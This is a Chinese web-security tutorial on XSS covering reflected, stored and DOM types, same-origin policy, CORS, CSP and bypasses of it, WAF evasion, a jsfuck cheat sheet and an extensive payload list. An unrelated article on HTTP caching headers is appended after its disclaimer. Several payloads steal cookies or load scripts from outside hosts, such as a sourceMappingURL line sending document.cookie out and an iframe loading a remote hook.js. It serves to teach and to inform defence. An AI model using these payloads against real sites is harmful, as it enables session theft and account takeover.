EB安全渗透测试的基础知识第六部分,小伙伴们快来继续学习吧~
XSS全称为Cross Site Scripting,为了和CSS分开简写为XSS,中文名为跨站脚本。该漏洞发生在用户端,是指在渲染过程中发生了不在预期过程中的JavaScript代码执行。XSS通常被用于获取Cookie、以受攻击者的身份进行操作等行为。
3.2.1.1. 反射型XSS
反射型XSS是比较常见和广泛的一类,举例来说,当一个网站的代码中包含类似下面的语句:<?php echo "<p>hello, $_GET['user']</p>";?> ,那么在访问时设置 /?user=</p><script>alert("hack")</script><p> ,则可执行预设好的JavaScript代码。 反射型XSS通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor、NoScript等防御手段的影响较大。
3.2.1.2. 储存型XSS
储存型XSS相比反射型来说危害较大,在这种漏洞中,攻击者能够把攻击载荷存入服务器的数据库中,造成持久化的攻击。
3.2.1.3. DOM XSS
DOM型XSS不同之处在于DOM型XSS一般和服务器的解析响应没有直接关系,而是在JavaScript脚本动态执行的过程中产生的。
例如
<html>
<head>
<title>DOM Based XSS Demo</title>
<script>
function xsstest()
{
var str = document.getElementById("input").value; document.getElementById("output").innerHTML = "<img src='"+str+"'></img>";
}
</script>
</head>
<body>
<div id="output"></div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="submit" onclick="xsstest()" /> </body>
</html>
输入 x' onerror='javascript:alert(/xss/) 即可触发。
3.2.1.4. Blind XSS
Blind XSS是储存型XSS的一种,它保存在某些存储中,当一个“受害者”访问这个页面时执行,并且在文档对象模型(DOM)中呈现payload。它被归类为盲目的原因是因为它通常发生在通常不暴露给用户的功能上。
3.2.2. 同源策略
3.2.2.1. 简介
同源策略限制了不同源之间如何进行资源交互,是用于隔离潜在恶意文件的重要安全机制。是否同源由URL决定,URL由协议、域名、端口和路径组成,如果两个URL的协议、域名和端口相同,则表示他们同源。
3.2.2.1.1. file域的同源策略
在之前的浏览器中,任意两个file域的URI被认为是同源的。本地磁盘上的任何HTML文件都可以读取本地磁盘上的任何其他文件。
从Gecko 1.9开始,文件使用了更细致的同源策略,只有当源文件的父目录是目标文件的祖先目录时,文件才能读取另一个文件。
3.2.2.1.2. cookie的同源策略
cookie使用不同的源定义方式,一个页面可以为本域和任何父域设置cookie,只要是父域不是公共后缀(public suffix)即可。
不管使用哪个协议(HTTP/HTTPS)或端口号,浏览器都允许给定的域以及其任何子域名访问cookie。设置 cookie时,可以使用 domain / path / secure 和 http-only 标记来限定其访问性。
所以 https://localhost:8080/ 和 http://localhost:8081/ 的Cookie是共享的。
3.2.2.1.3. Flash/SilverLight跨域
浏览器的各种插件也存在跨域需求。通常是通过在服务器配置crossdomain.xml,设置本服务允许哪些域名的跨域访问。
客户端会请求此文件,如果发现自己的域名在访问列表里,就发起真正的请求,否则不发送请求。
3.2.2.2. 源的更改
同源策略认为域和子域属于不同的域,例如
child1.a.com 与 a.com / child1.a.com 与 child2.a.com/ xxx.child1.a.com 与 child1.a.com 两两不同源。
对于这种情况,可以在两个方面各自设置 document.damain='a.com' 来改变其源来实现以上任意两个页面之间的通信。
另外因为浏览器单独保存端口号,这种赋值会导致端口号被重写为 null 。
3.2.2.3. 跨源访问
同源策略控制了不同源之间的交互,这些交互通常分为三类:
● 通常允许跨域写操作(Cross-origin writes)
链接(links)
重定向
表单提交
● 通常允许跨域资源嵌入(Cross-origin embedding)
● 通常不允许跨域读操作(Cross-origin reads)
可能嵌入跨源的资源的一些示例有:
● <script src="..."></script> 标签嵌入跨域脚本。语法错误信息只能在同源脚本中捕捉到。
● <link rel="stylesheet" href="..."> 标签嵌入CSS。由于CSS的松散的语法规则,CSS的跨域需要一个设置正确的Content-Type 消息头。
● <img> / <video> / <audio> 嵌入多媒体资源。
● <object> <embed> 和 <applet> 的插件。
● @font-face 引入的字体。一些浏览器允许跨域字体( cross-origin fonts),一些需要同源字体(same-origin fonts)。
● <frame> 和 <iframe> 载入的任何资源。站点可以使用X-Frame-Options消息头来阻止这种形式的跨域交互。
3.2.2.3.1. JSONP跨域
JSONP就是利用 <script> 标签的跨域能力实现跨域数据的访问,请求动态生成的JavaScript脚本同时带一个callback函数名作为参数。
服务端收到请求后,动态生成脚本产生数据,并在代码中以产生的数据为参数调用callback函数。
3.2.2.3.2. 跨源脚本API访问
Javascript的APIs中,如 iframe.contentWindow , window.parent, window.open 和 window.opener 允许文档间相互引用。当两个文档的源不同时,这些引用方式将对 window 和 location 对象的访问添加限制。
window 允许跨源访问的方法有
● window.blur
● window.close
● window.focus
● window.postMessage
window 允许跨源访问的属性有
● window.closed
● window.frames
● window.length
● window.location
● window.opener
● window.parent
● window.self
● window.top
● window.window
其中 window.location 允许读/写,其他的属性只允许读。
3.2.2.3.3. 跨源数据存储访问
存储在浏览器中的数据,如 localStorage 和 IndexedDB,以源进行分割。每个源都拥有自己单独的存储空间,一个源中的Javascript脚本不能对属于其它源的数据进行读写操作。
3.2.2.4. CORS
CORS是一个W3C标准,全称是”跨域资源共享”(Cross-origin resource sharing)。通过这个标准,可以允许浏览器读取跨域的资源。
3.2.2.4.1. 常见返回头
● Access-Control-Allow-Origin
声明允许的源
Access-Control-Allow-Origin: <origin> | *
● Access-Control-Expose-Headers
声明允许暴露的头 e.g. Access-Control-Expose-Headers: X-My-Custom-Header,X-Another-Custom-Header
● Access-Control-Max-Age
声明Cache时间
Access-Control-Max-Age: <delta-seconds>
● Access-Control-Allow-Credentials
声明是否允许在请求中带入
Access-Control-Allow-Credentials: true
● Access-Control-Allow-Methods
声明允许的访问方式
Access-Control-Allow-Methods: <method>[, <method>]*
● Access-Control-Allow-Headers
声明允许的头
Access-Control-Allow-Headers: <field-name>[, <field-name>]*
3.2.2.4.2. 常见请求头
● Origin
指定请求的源
Origin: <origin>
● Access-Control-Request-Method
声明请求使用的方法
Access-Control-Request-Method: <method>
● Access-Control-Request-Headers
声明请求使用的header
Access-Control-Request-Headers: <field-name>[, <field-name>]*
3.2.2.4.3. 防御建议
如非必要不开启CORS
定义详细的白名单,不使用通配符,仅配置所需要的头
配置 Vary: Origin 头部
如非必要不使用 Access-Control-Allow-Credentials
限制缓存的时间
3.2.2.5. 阻止跨源访问
阻止跨域写操作,可以检测请求中的 CSRF token ,这个标记被称为Cross-Site Request Forgery (CSRF) 标记。
阻止资源的跨站读取,因为嵌入资源通常会暴露信息,需要保证资源是不可嵌入的。但是多数情况下浏览器都不会遵守 Content-Type 消息头。例如如果在HTML文档中指定 <script> 标记,则浏览器会尝试将HTML解析为JavaScript。
3.2.3. CSP
3.2.3.1. CSP是什么?
Content Security Policy,简称 CSP。顾名思义,这个规范与内容安全有关,主要是用来定义页面可以加载哪些资源,减少 XSS 的发生。
3.2.3.2. 配置
CSP策略可以通过 HTTP 头信息或者 meta 元素定义。
CSP 有三类:
● Content-Security-Policy (Google Chrome)
● X-Content-Security-Policy (Firefox)
● X-WebKit-CSP (WebKit-based browsers, e.g. Safari)
HTTP header :
"Content-Security-Policy:" 策略
"Content-Security-Policy-Report-Only:" 策略
HTTP Content-Security-Policy 头可以指定一个或多个资源是安全的,而Content-Security-Policy-Report-Only则是允许服务器检查(非强制)一个策略。多个头的策略定义由优先采用最先定义的。
HTML Meta :
<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only" content="策略">
3.2.3.2.1. 指令说明
3.2.3.2.2. 关键字
● -
允许从任意url加载,除了 data: blob: filesystem: schemes
e.g. img-src -
● none
禁止从任何url加载资源
e.g. object-src 'none'
● self
只可以加载同源资源
e.g. img-src 'self'
● data:
可以通过data协议加载资源
e.g. img-src 'self' data:
● domain.example.com
e.g. img-src domain.example.com
只可以从特定的域加载资源
● \*.example.com
e.g. img-src \*.example.com
可以从任意example.com的子域处加载资源
● https://cdn.com
e.g. img-src https://cdn.com
只能从给定的域用https加载资源
● https:
e.g. img-src https:
只能从任意域用https加载资源
● unsafe-inline
允许内部资源执行代码例如style attribute,onclick或者是sicript标签
e.g. script-src 'unsafe-inline'
● unsafe-eval
允许一些不安全的代码执行方式,例如js的eval()
e.g. script-src 'unsafe-eval'
● nonce-<base64-value>'
使用随机的nonce,允许加载标签上nonce属性匹配的标签
e.g. script-src 'nonce-bm9uY2U='
● <hash-algo>-<base64-value>'
允许hash值匹配的代码块被执行
e.g. script-src 'sha256-<base64-value>'
3.2.3.2.3. 配置范例
允许执行内联 JS 代码,但不允许加载外部资源
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
3.2.3.3. Bypass
3.2.3.3.1. 预加载
浏览器为了增强用户体验,让浏览器更有效率,就有一个预加载的功能,大体是利用浏览器空闲时间去加载指定的内容,然后缓存起来。这个技术又细分为DNS-prefetch、subresource、prefetch、preconnect、prerender。
HTML5页面预加载是用link标签的rel属性来指定的。如果csp头有unsafe-inline,则用预加载的方式可以向外界发出请求,例如
<!-- 预加载某个页面 -->
<link rel='prefetch' href='http://xxxx'><!-- firefox -->
<link rel='prerender' href='http://xxxx'><!-- chrome -->
<!-- 预加载某个图片 -->
<link rel='prefetch' href='http://xxxx/x.jpg'>
<!-- DNS 预解析 -->
<link rel="dns-prefetch" href="http://xxxx">
<!-- 特定文件类型预加载 -->
<link rel='preload' href='//xxxxx/xx.js'><!-- chrome -->
另外,不是所有的页面都能够被预加载,当资源类型如下时,讲阻止预加载操作:
● URL中包含下载资源
● 页面中包含音频、视频
● POST、PUT和DELET操作的ajax请求
● HTTP认证
● HTTPS页面
● 含恶意软件的页面
● 弹窗页面
● 占用资源很多的页面
● 打开了chrome developer tools开发工具
3.2.3.3.2. MIME Sniff
举例来说,csp禁止跨站读取脚本,但是可以跨站读img,那么传一个含有脚本的img,再“<script href=http://www.hmttv.cn/uploadfile/2024/0808/20240808043709439.jpg’>“,这里csp认为是一个img,绕过了检查,如果网站没有回正确的mime type,浏览器会进行猜测,就可能加载该img作为脚本。
3.2.3.3.3. 302跳转
对于302跳转绕过CSP而言,实际上有以下几点限制:
● 跳板必须在允许的域内。
● 要加载的文件的host部分必须跟允许的域的host部分一致
3.2.3.3.4. iframe
当可以执行代码时,可以创建一个源为 css js 等静态文件的frame,在配置不当时,该frame并不存在csp,则在该frame下再次创建frame,达到bypass的目的。同理,使用 ../../../ /%2e%2e%2f等可能触发服务器报错的链接也可以到达相应的目的。
3.2.3.3.5. 其他
● CND Bypass,如果网站信任了某个CDN, 那么可利用相应的CDN bypass
● Angular versions <1.5.9 >=1.5.0,存在漏洞 Git Pull Request
● jQuery sourcemap
document.write(`<script> //@ sourceMappingURL=http://xxxx/`+document.cookie+`<\/script>`);``
● a标签的ping属性
● For FireFox <META HTTP-EQUIV="refresh" CONTENT="0; url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnSWhhdmVZb3VOb3cnKTs8L3NjcmlwdD4=">
● <link rel="import" />
● <meta http-equiv="refresh" content="0; url=http://...." />
● 当script-src为nonce或无限制,且base-uri无限制时,可通过 base 标签修改根URL来bypass,如下加载了http://evil.com/main.js
<base href="http://evil.com/">
<script nonce="correct value" src="/main.js"></script>
3.2.4. XSS数据源
3.2.4.1. URL
● location
● location.href
● location.pathname
● location.search
● location.hash
● document.URL
● document.documentURI
● document.baseURI
3.2.4.2. Navigation
● window.name
● document.referrer
3.2.4.3. Communication
● Ajax
● Fetch
● WebSocket
● PostMessage
3.2.4.4. Storage
● Cookie
● LocalStorage
● SessionStorage
3.2.5. Sink
3.2.5.1. 执行Js
● eval(payload)
● setTimeout(payload, 100)
● setInterval(payload, 100)
● Function(payload)()
● <script>payload</script>
● <img src=x onerror=payload>
3.2.5.2. 加载URL
● location=javascript:alert(/xss/)
● location.href=javascript:alert(/xss/)
● location.assign(javascript:alert(/xss/))
● location.replace(javascript:alert(/xss/))
3.2.5.3. 执行HTML
● xx.innerHTML=payload
● xx.outerHTML=payload
● document.write(payload)
● document.writeln(payload)
3.2.6. XSS保护
3.2.6.1. HTML过滤
使用一些白名单或者黑名单来过滤用户输入的HTML,以实现过滤的效果。例如DOMPurify等工具都是用该方式实现了XSS的保护。
3.2.6.2. X-Frame
X-Frame-Options 响应头有三个可选的值:
● DENY
页面不能被嵌入到任何iframe或frame中
● SAMEORIGIN
页面只能被本站页面嵌入到iframe或者frame中
● ALLOW-FROM
页面允许frame或frame加载
3.2.6.3. XSS保护头
基于 Webkit 内核的浏览器(比如Chrome)有一个名为XSS auditor的防护机制,如果浏览器检测到了含有恶意代码的输入被呈现在HTML文档中,那么这段呈现的恶意代码要么被删除,要么被转义,恶意代码不会被正常的渲染出来。
而浏览器是否要拦截这段恶意代码取决于浏览器的XSS防护设置。
要设置浏览器的防护机制,则可使用X-XSS-Protection字段 该字段有三个可选的值
0: 表示关闭浏览器的XSS防护机制
1: 删除检测到的恶意代码, 如果响应报文中没有看到X-XSS-Protection 字段,那么浏览器就认为X-XSS-Protection配置为1,这是浏览器的默认设置
1; mode=block: 如果检测到恶意代码,在不渲染恶意代码
FireFox没有相关的保护机制,如果需要保护,可使用NoScript等相关插件。
3.2.7. WAF Bypass
● 利用<>标记
● 利用html属性
href
lowsrc
bgsound
background
value
action
dynsrc
● 关键字
利用回车拆分
字符串拼接(window["al" + "ert"])
● 利用编码绕过
base64
jsfuck
String.fromCharCode
HTML
URL
hex(window["\x61\x6c\x65\x72\x74"])
unicode
utf7(+ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4-)
utf16
● 大小写混淆
● 对标签属性值转码
● 产生事件
● css跨站解析
● 长度限制bypass
eval(name)
eval(hash)
import
$.getScript
$.get
● .
使用 。绕过IP/域名
document['cookie'] 绕过属性取值
● 过滤引号用 “ ` “ 绕过
3.2.8.1. CSS 注入
CSS注入最早开始于利用CSS中的 expression() url() regex() 等函数或特性来引入外部的恶意代码,但是随着浏览器的发展,这种方式被逐渐禁用,与此同时,出现了一些新的攻击方式。
3.2.8.1.2. CSS selectors
上图是利用CSS selectors完成攻击的一个示例。
3.2.8.1.3. Abusing Unicode Range
当可以插入CSS的时候,可以使用 font-face 配合 unicode-range 获取目标网页对应字符集。PoC如下
当字符较多时,则可以结合 ::first-line 等CSS属性缩小范围,以获取更精确的内容。
3.2.8.2. Bypass Via Script Gadgets
3.2.8.2.1. 简介
一些网站会使用白名单或者一些基于DOM的防御方式,对这些方式,有一种被称为 Code Reuse 的攻击方式可以绕过。该方式和二进制攻防中的Gadget相似,使用目标中的合法代码来达到绕过防御措施的目的。在论文 Code-Reuse Attacks for the Web: Breaking Cross-Site Scripting Mitigations via Script Gadgets 中有该方法的具体描述。
portswigger的一篇博文也表达了类似的想法 https://portswigger.net/blog/abusing-javascript-frameworks-to-bypass-xss-mitigations。
下面有一个简单的例子,这个例子使用了 DOMPurify 来加固,但是因为引入了 jquery.mobile.js 导致可以被攻击。
3.2.8.2.2. 例子
// index.php
<?php
$msg = $_GET['message'];
$msg = str_replace("\n", "",
$msg); $msg = base64_encode($msg);
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Preview</title>
<script type="text/javascript" src="purify.js"></script>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="jquery.mobile.js"></script>
</head>
<body>
<script type="text/javascript">
var d= atob('<?php echo $msg; ?>');
var cleanvar = DOMPurify.sanitize(d);
document.write(cleanvar);
</script>
</body>
</html>
// playload
<div data-role=popup id='-->
<script>alert(1)</script>'>
</div>
3.2.8.3. jsfuck cheat sheet
3.2.8.3.1. Basic values
● undefined > [][[]]
● false > ![]
● true > !![]
● NaN > +[![]]
● 0 > +[]
● 1 > +!+[]
● 2 > !+[]+!+[]
3.2.8.3.2. Basic strings
● '' > []+[]
● 'undefined' > []+[][[]]
● 'false' > []+![]
● 'true' > []+!![]
● 'NaN' > []+(+[![]])
● '0' > []+(+[])
● '1' > []+(+!+[])
● '2' > []+(!+[]+!+[])
● '10' > [+!+[]]+[+[]]
● '11' > [+!+[]]+[+!+[]]
● '100' > [+!+[]]+[+[]]+(+[])
3.2.8.3.3. Higher numbers
● 10 > +([+!+[]]+[+[]])
● 11 > +([+!+[]]+[+!+[]])
● 100 > +([+!+[]]+[+[]]+(+[]))
3.2.8.3.4. String alphabet
● 'a' > ([]+![])[+!+[]]
● 'd' > ([]+[][[]])[+!+[]+!+[]]
● 'e' > ([]+!+[])[+!+[]+!+[]+!+[]]
● 'f' > ([]+![])[+[]]
● 'i' > ([]+[][[]])[+!+[]+!+[]+!+[]+!+[]+!+[]]
● 'l' > ([]+![])[+!+[]+!+[]]
● 'n' > ([]+[][[]])[+!+[]]
● 'r' > ([]+!+[])[+!+[]]
● 's' > ([]+![])[+!+[]+!+[]+!+[]]
● 't' > ([]+!+[])[+[]]
● 'u' > ([]+!+[])[+!+[]+!+[]]
3.2.8.4. RPO(Relative Path Overwrite)
RPO(Relative Path Overwrite) 攻击又称为相对路径覆盖攻击,依赖于浏览器和网络服务器的反应,利用服务器的 Web 缓存技术和配置差异。
3.2.9. Payload
3.2.9.1. 常用
● <script>alert(/xss/)</script>
● <svg onload=alert(document.domain)>
● <img src=document.domain onerror=alert(document.domain)>
● <M onmouseover=alert(document.domain)>M
● <marquee onscroll=alert(document.domain)>
● <a href=javascript:alert(document.domain)>M</a>
● <body onload=alert(document.domain)>
● <details open ontoggle=alert(document.domain)>
● <embed src=javascript:alert(document.domain)>
3.2.9.2. 大小写绕过
● <script>alert(1)</script>
● <sCrIpT>alert(1)</sCrIpT>
● <ScRiPt>alert(1)</ScRiPt>
● <sCrIpT>alert(1)</ScRiPt>
● <ScRiPt>alert(1)</sCrIpT>
● <img src=1 onerror=alert(1)>
● <iMg src=1 oNeRrOr=alert(1)>
● <ImG src=1 OnErRoR=alert(1)>
● <img src=1 onerror="alert("M")">
● <marquee onscroll=alert(1)>
● <mArQuEe OnScRoLl=alert(1)>
● <MaRqUeE oNsCrOlL=alert(1)>
3.2.9.3. 各种alert
● <script>alert(1)</script>
● <script>confirm(1)</script>
● <script>prompt(1)</script>
● <script>alert('1')</script>
● <script>alert("1")</script>
● <script>alert`1`</script>
● <script>(alert)(1)</script>
● <script>a=alert,a(1)</script>
● <script>[1].find(alert)</script>
● <script>top["al"+"ert"](1)</script>
● <script>top["a"+"l"+"e"+"r"+"t"](1)</script>
● <script>top[/al/.source+/ert/.source](1)</script>
● <script>top[/a/.source+/l/.source+/e/.source+/r/.source+/t/.source](1)</script>
3.2.9.4. 伪协议
● <a href=javascript:/0/,alert(%22M%22)>M</a>
● <a href=javascript:/00/,alert(%22M%22)>M</a>
● <a href=javascript:/000/,alert(%22M%22)>M</a>
● <a href=javascript:/M/,alert(%22M%22)>M</a>
3.2.9.5. Chrome XSS auditor bypass
● ?param=https://¶m=@z.exeye.io/import%20rel=import%3E
● <base href=javascript:/M/><a href=,alert(1)>M</a>
● <base href=javascript:/M/><iframe src=,alert(1)></iframe>
3.2.9.6. 长度限制
<script>s+="l"</script>
\...
<script>eval(s)</script>
3.2.9.7. jquery sourceMappingURL
</textarea><script>var
a=1//@ sourceMappingURL=//xss.site</script>
3.2.9.8. 图片名
"><img src=x onerror=alert(document.cookie)>.gif
3.2.9.9. 过期的payload
● src=javascript:alert基本不可以用
● css expression特性只在旧版本ie可用
3.2.9.10. css
<div style="background-image:url(javascript:alert(/xss/))">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
3.2.9.11. markdown
● [a](javascript:prompt(document.cookie))
● [a](j a v a s c r i p t:prompt(document.cookie)) <javascript:alert('XSS')>
● 
● [notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
● [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
● 
3.2.9.12. iframe
<iframe onload='
var sc = document.createElement("scr" + "ipt");
sc.type = "text/javascr" + "ipt";
sc.src = "http://1.2.3.4/js/hook.js"; document.body.appendChild(sc);
'
/>
● <iframe src=javascript:alert(1)></iframe>
● <iframe src="data:text/html,<iframe src=javascript:alert('M')>● </iframe>"></iframe>
● <iframe src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+></iframe>
● <iframe srcdoc=<svg/onload=alert(1)>></iframe>
● <iframe src=https://baidu.com width=1366 height=768></iframe>
● <iframe src=javascript:alert(1) width=1366 height=768></iframe
3.2.9.13. form
● <form action=javascript:alert(1)><input type=submit>
● <form><button formaction=javascript:alert(1)>M
● <form><input formaction=javascript:alert(1) type=submit value=M>
● <form><input formaction=javascript:alert(1) type=image value=M>
● <form><input formaction=javascript:alert(1) type=image src=1>
3.2.9.14. meta
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
3.2.10. 持久化
3.2.10.1. 基于存储
有时候网站会将信息存储在Cookie或localStorage,而因为这些数据一般是网站主动存储的,很多时候没有对Cookie或localStorage中取出的数据做过滤,会直接将其取出并展示在页面中,甚至存了JSON格式的数据时,部分站点存在 eval(data) 之类的调用。因此当有一个XSS时,可以把payload写入其中,在对应条件下触发。
在一些条件下,这种利用方式可能因为一些特殊字符造成问题,可以使用 String.fromCharCode 来绕过。
3.2.10.2. Service Worker
Service Worker可以拦截http请求,起到类似本地代理的作用,故可以使用Service Worker Hook一些请求,在请求中返回攻击代码,以实现持久化攻击的目的。
在Chrome中,可通过 chrome://inspect/#service-workers 来查看Service Worker的状态,并进行停止。
3.2.10.3. AppCache
在可控的网络环境下(公共wifi),可以使用AppCache机制,来强制存储一些Payload,未清除的情况下,用户访问站点时对应的payload会一直存在。
免责声明:
本文内容出于传递更多信息之目的,属于非营利性的转载。如无意中侵犯了某个媒体或个人的知识产权,请联系我们,我们将立即删除相关内容。其他媒体、网络或个人从本网下载使用须自负版权等法律责任。
如果上面的问题你都懂了,那关掉这个页面吧;如果你喜欢本文,点一个赞吧~
先小小的回顾下
http header 描述 强缓存 协商缓存 Pragma 老版本的本地缓存机制,http 1.0 及以下 Expires 在此时候之后,响应过期,时间是绝对时间,受本地时间影响 * Cache-Control 强缓存策略 Cache-Control: public, max-age=31536000, must-revalidate max-age是相对时间 * Last-Modified、If-Modified-Since 资源最后被更改的时间,精确到秒 * ETag、If-None-Match 资源的标识值,用来唯一的标识一个资源 * 处理优先级
在本地 Cache-Control > Expires,Pragma 在不支持 Cache-Control 时生效。
如果本地缓存过期,则要依靠协商缓存
ETag > Last-Modified
强缓存的 http 状态码是 200 OK
协商缓存的 http 状态码是 304 Not Modified
Cache-Control
问题 关于 public 和 private 的区别
翻译成中文:private 不允许代理缓存。举个例子,ISP 服务商可以在你的客户端和互联网之间加上不可见的代理,这个代理会缓存网页来降低带宽,客户端设置 cache-control: private 之后,可以指定 ISP 代理不允许缓存网页,但是允许最后的接受者缓存。而使用 cache-control: public 的意思是说,谁都可以缓存哈,所以中间代理会缓存一份以减少带宽降低费用。
如果是谁都可以访问的内容,比如网站 logo,那就用 public 好了,反正也不会有关键数据泄露风险,尽量中间代理都给缓存上,减少带宽。而如果是一个含有用户信息的页面,比如页面含有我的用户名,那这个页面当然不是对谁都有用,因为不同的人要返回不同的用户名嘛,这个时候 private 会适合一些,如果代理缓存了我的这个页面,别的用户访问又会缓存别人的,这显然不合理,而且你的个人私密数据也尽量不要被保存在不受信任的地方。
当然,所有不被表示为 public 的数据都应该被标识为 private,要不然数据会存储在中间服务器上,别人就有可能会访问到这个数据。
禁止缓存
Cache-Control: no-cache, no-store, must-revalidate
缓存静态资源
Cache-Control:public, max-age=86400
ETag、If-Match
ETag 和 If-None-Match 常被用来处理协商缓存。而 ETag 和 If-Match 可以 避免“空中碰撞”。
ETag HTTP响应头是资源的特定版本的标识符。这可以让缓存更高效,并节省带宽,因为如果内容没有改变,Web服务器不需要发送完整的响应。而如果内容发生了变化,使用 ETag 有助于防止资源的同时更新相互覆盖(“空中碰撞”)。
当编辑 MDN 时,当前的 Wiki 内容被散列,并在响应中放入Etag:
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4 复制代码
将更改保存到 Wiki 页面(发布数据)时,POST 请求将包含有 ETag 值的 If-Match 头来检查是否为最新版本。
If-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4" 复制代码
如果哈希值不匹配,则意味着文档已经被编辑,抛出 412 ( Precondition Failed) 前提条件失败错误。
If-None-Match 是客户端发送给服务器时的请求头,其值是服务器返回给客户端的 ETag,当 If-None-Match 和服务器资源最新的 Etag 不同时,返回最新的资源及其 Etag。
Last-Modified、If-Modified-Since
Last-Modified、If-Modified-Since 是资源最后更改的时间。
Last-Modified: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT 复制代码
这两个的区别是: Last-Modified 是服务器发送给客户端的,If-Modified-Since 是客户端发送给服务器的。
问题 Last-Modified 机制和 ETag 机制的区别和优先级是怎样的?
Last-Modified 只能精确到秒,所以在秒级以下的更改无法检测到。而 ETag 可以表征文件的任何更改,只要文件变化 ETag 就会变化。所以 Last-Modified 是一个备用机制,优先级不如 Etag。
客户端请求带有 If-None-Match 在服务端校验匹配则返回 304,校验不匹配则返回 200,同时返回最新的资源和 Etag。
Age
Age 消息头里包含消息对象在缓存代理中存贮的时长,以秒为单位。
Age 消息头的值通常接近于0。表示此消息对象刚刚从原始服务器获取不久;其他的值则是表示代理服务器当前的系统时间与此应答消息中的通用消息头 Date 的值之差。
Age: <delta-seconds> 复制代码
如
age: 1135860 复制代码
Date
Date 是一个通用首部,其中包含了报文创建的日期和时间。
指的是响应生成的时间. 请求经过代理服务器时, 返回的 Date 未必是最新的, 通常这个时候, 代理服务器将增加一个 Age 字段告知该资源已缓存了多久.
Date: Wed, 21 Oct 2015 07:28:00 GMT 复制代码
Vary
Vary 是一个HTTP响应头部信息,它决定了对于未来的一个请求头,应该用一个缓存的回复(response)还是向源服务器请求一个新的回复。它被服务器用来表明在 content negotiation algorithm(内容协商算法)中选择一个资源代表的时候应该使用哪些头部信息(headers)。
对于服务器而言, 资源文件可能不止一个版本, 比如说压缩和未压缩, 针对不同的客户端, 通常需要返回不同的资源版本。 比如说老式的浏览器可能不支持解压缩, 这个时候, 就需要返回一个未压缩的版本; 对于新的浏览器, 支持压缩, 返回一个压缩的版本, 有利于节省带宽, 提升体验. 那么怎么区分这个版本呢, 这个时候就需要 Vary 了。
服务器通过指定 Vary: Accept-Encoding, 告知代理服务器, 对于这个资源, 需要缓存两个版本: 压缩和未压缩. 这样老式浏览器和新的浏览器, 通过代理, 就分别拿到了未压缩和压缩版本的资源, 避免了都拿同一个资源的尴尬。
Vary: Accept-Encoding,User-Agent 复制代码
如上设置, 代理服务器将针对是否压缩和浏览器类型两个维度去缓存资源. 如此一来, 同一个url, 就能针对 PC 和 Mobile 返回不同的缓存内容。
怎么让浏览器不缓存静态资源
可以设置 Cache-Control
Cache-Control: no-cache, no-store, must-revalidate 复制代码
也可以给资源增加版本号,这样可以很方便地控制什么时候加载最新资源,这也是目前做版本更新比较常用的手段,即使老资源还在有效期内,加上了 query、hash。
<link rel="stylesheet" type="text/css" href="../css/style.css?version=1.8.9"/> 复制代码
用户行为与缓存
用户按 f5(ctrl+r)、ctrl+f5、点击前进后退 都会触发缓存机制
经过本地测试发现和网上传的有些出入,记录如下(强缓存有效代表直接使用本地的缓存文件,Chrome 状态码为 200,协商缓存有效代表向服务器发起请求,服务器可能返回 304 无内容或者 200 有内容)。
操作 强缓存 协商缓存 页面链接跳转 有效 有效 新开窗口 有效 有效 前进后退 有效 有效 地址栏回车 失效 或者 有效 有效 ctrl+r或者 f5 失效 有效 ctrl+f5 强制刷新 失效 失效
地址栏回车和网络上不一样,打个比方,如果当前已经在 http://localhost:3333/,然后在地址栏选中后回车,你会发现没有缓存。
但是如果当前不在 http://localhost:3333/ ,比如 http://localhost:3333/index.css 或者空白页,然后输入 http://localhost:3333/ 回车,这时候就会直接从本地缓存中读取。
惊喜不,意外不
关于 memory cache 和 disk cache
这两种缓存类型存在于 Chrome 中。
上个小标题 用户行为与缓存,我们看到浏览器从本地读缓存的时候有一个 disk cache,与之对应的还有一个 memory cache。看名字也能大概才出来,disk cache 是从硬盘中读取的文件缓存,memory cache 是从内存中直接读取的内容,速度上当然也是后者更快。
那为什么要有这两种缓存的形式呢?
disk cache 存在硬盘,可以存很多,容量上限比内容缓存高很多,而 memory cache 从内存直接读取,速度上占优势,这两个各有各的好处!
问题 浏览器如何决策使用哪种缓存呢?
来自知乎 浏览器是根据什么决定「from disk cache」与「from memory cache」?
划重点!!关于 Chrome、FF、IE 的缓存区别
这个内容网络上很少有文章介绍,经过我测试之后发现区别挺大的。Chome 的缓存处理和另外两个存在明显的不同!
上面讲的强缓存、memory cache、disk cache 在 FF、IE 中都没有明显的区分,或许这就是 Chrome 速度快的原因?
我们举个例子,多次重复请求 https://www.baidu.com/,查看三个浏览器的区别。
Chrome
FF
IE
Chrome 中有强缓存、协商缓存,强缓存分为 memory cache、disk cache,这种处理机制可以最大化的利用缓存,减少发起的请求,从而优化页面加载速度!!Chrome 资源状态码都是 200,没有 304,另外两家都存在大量304,在 FF、IE 中,即使服务器明确表示资源需要进行强缓存,比如 Cache-Control: max-age=86400,他们仍然不会应用所谓的强缓存策略,仍然会向服务器发送请求,服务器返回 304 ,告诉浏览器用你本地的资源就好了!!!
怎么知道这个请求确实是发送到了代理或者真实服务器呢?我们上面有说 Age 和 Date,Age 表示当前请求在返回时,在代理那里的时间减去 Date 的时间,所以每次只要请求发出去了,Age 都会相比上一次增加!!!
我们以掘金的 https://b-gold-cdn.xitu.io/v3/static/js/0.81b469df7a0dd87832a4.js 文件为例。在 FF 上,前一次的结果是
刷一下
Date 没有变,表示都是使用的同一个真实服务器的响应资源,Age 后一次比前一次变大了,但是状态码都是 304,而缓存规则是 cache-control: s-maxage=2592199, max-age=2592199!!!
